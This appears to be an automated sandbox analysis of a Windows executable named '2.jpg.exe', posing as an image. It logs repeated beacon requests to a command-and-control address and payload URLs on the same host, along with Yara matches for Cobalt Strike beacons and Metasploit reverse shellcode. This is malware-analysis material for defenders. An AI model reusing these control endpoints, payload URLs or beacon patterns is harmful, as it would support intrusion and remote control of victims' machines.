Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: 2.jpg.exe, 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:%u/
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5/
Source: 2.jpg.exe, 00000000.00000002.4125543545.0000000005D46000.00000004.00000020.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4124429713.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4124429713.0000000000A17000.00000004.00000020.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixel
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixelHeartbeatTimesg
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixelitoringKillbit
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixelitoringKillbitS
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixelnkMonitoringM
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/g.pixelnkMonitoringx
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4124429713.0000000000A17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/j9sF
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A17000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8062/j9sF6
Source: 2.jpg.exe, 00000000.00000002.4124836777.00000000026A8000.00000004.00000800.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4124836777.000000000268F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089
Source: 2.jpg.exe String found in binary or memory: http://8.218.236.5:8089/0.txtC
Source: 2.jpg.exe, 00000000.00000002.4124836777.0000000002621000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089/0.txtP
Source: 2.jpg.exe, 00000000.00000002.4124836777.0000000002621000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089/0.txtlB
Source: 2.jpg.exe String found in binary or memory: http://8.218.236.5:8089/1.txt
Source: 2.jpg.exe, 00000000.00000002.4124836777.00000000026C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089/1.txtP
Source: 2.jpg.exe, 00000000.00000002.4124836777.000000000268F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089/1.txtd
Source: 2.jpg.exe, 00000000.00000002.4124836777.0000000002621000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089/1.txter
Source: 2.jpg.exe, 00000000.00000002.4124836777.000000000268F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.218.236.5:8089t-
Source: 2.jpg.exe, 00000000.00000002.4124836777.000000000268F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Shellcode_Generic_8c487e57 Author: unknown
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon). Author: unknown
Source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon). Author: unknown
Source: 00000000.00000002.4126125579.0000000006794000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.4126125579.0000000006794000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Shellcode_Generic_8c487e57 Author: unknown
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon). Author: unknown
Source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon). Author: unknown
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike payload Author: ditekSHen
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\2.jpg.exe Process Stats: CPU usage > 49%
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06763E1F GetLastError,_memset,_memset,GetCurrentDirectoryW,GetCurrentDirectoryW,GetCurrentDirectoryW,CreateProcessWithTokenW,GetLastError,GetLastError,CreateProcessWithLogonW,GetLastError,GetLastError,GetLastError,_memset,GetLastError,GetLastError, 0_2_06763E1F
Detected potential crypto function
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0678267D 0_2_0678267D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06781E9D 0_2_06781E9D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06784C40 0_2_06784C40
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06777C14 0_2_06777C14
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06782271 0_2_06782271
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06785210 0_2_06785210
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06782A9D 0_2_06782A9D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06772BF1 0_2_06772BF1
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067843C0 0_2_067843C0
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067849E5 0_2_067849E5
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067819C8 0_2_067819C8
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_05F300B5 0_2_05F300B5
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06380E05 0_2_06380E05
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0638464D 0_2_0638464D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_063816AE 0_2_063816AE
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06381EDA 0_2_06381EDA
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_063927F1 0_2_063927F1
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06381ABA 0_2_06381ABA
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_063812DA 0_2_063812DA
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0637202E 0_2_0637202E
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0638407D 0_2_0638407D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06377051 0_2_06377051
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\2.jpg.exe Code function: String function: 067781DC appears 39 times
Source: C:\Users\user\Desktop\2.jpg.exe Code function: String function: 06377619 appears 35 times
Sample file is different than original file name gathered from version info
Source: 2.jpg.exe, 00000000.00000002.4124429713.000000000099E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs 2.jpg.exe
Source: 2.jpg.exe, 00000000.00000000.1672509121.0000000000292000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameLoadByDF.exe2 vs 2.jpg.exe
Source: 2.jpg.exe, 00000000.00000002.4124836777.00000000026C1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameByDll.dll, vs 2.jpg.exe
Source: 2.jpg.exe, 00000000.00000002.4125783535.0000000005F20000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameByDll.dll, vs 2.jpg.exe
Source: 2.jpg.exe Binary or memory string: OriginalFilenameLoadByDF.exe2 vs 2.jpg.exe
Uses 32bit PE files
Source: 2.jpg.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
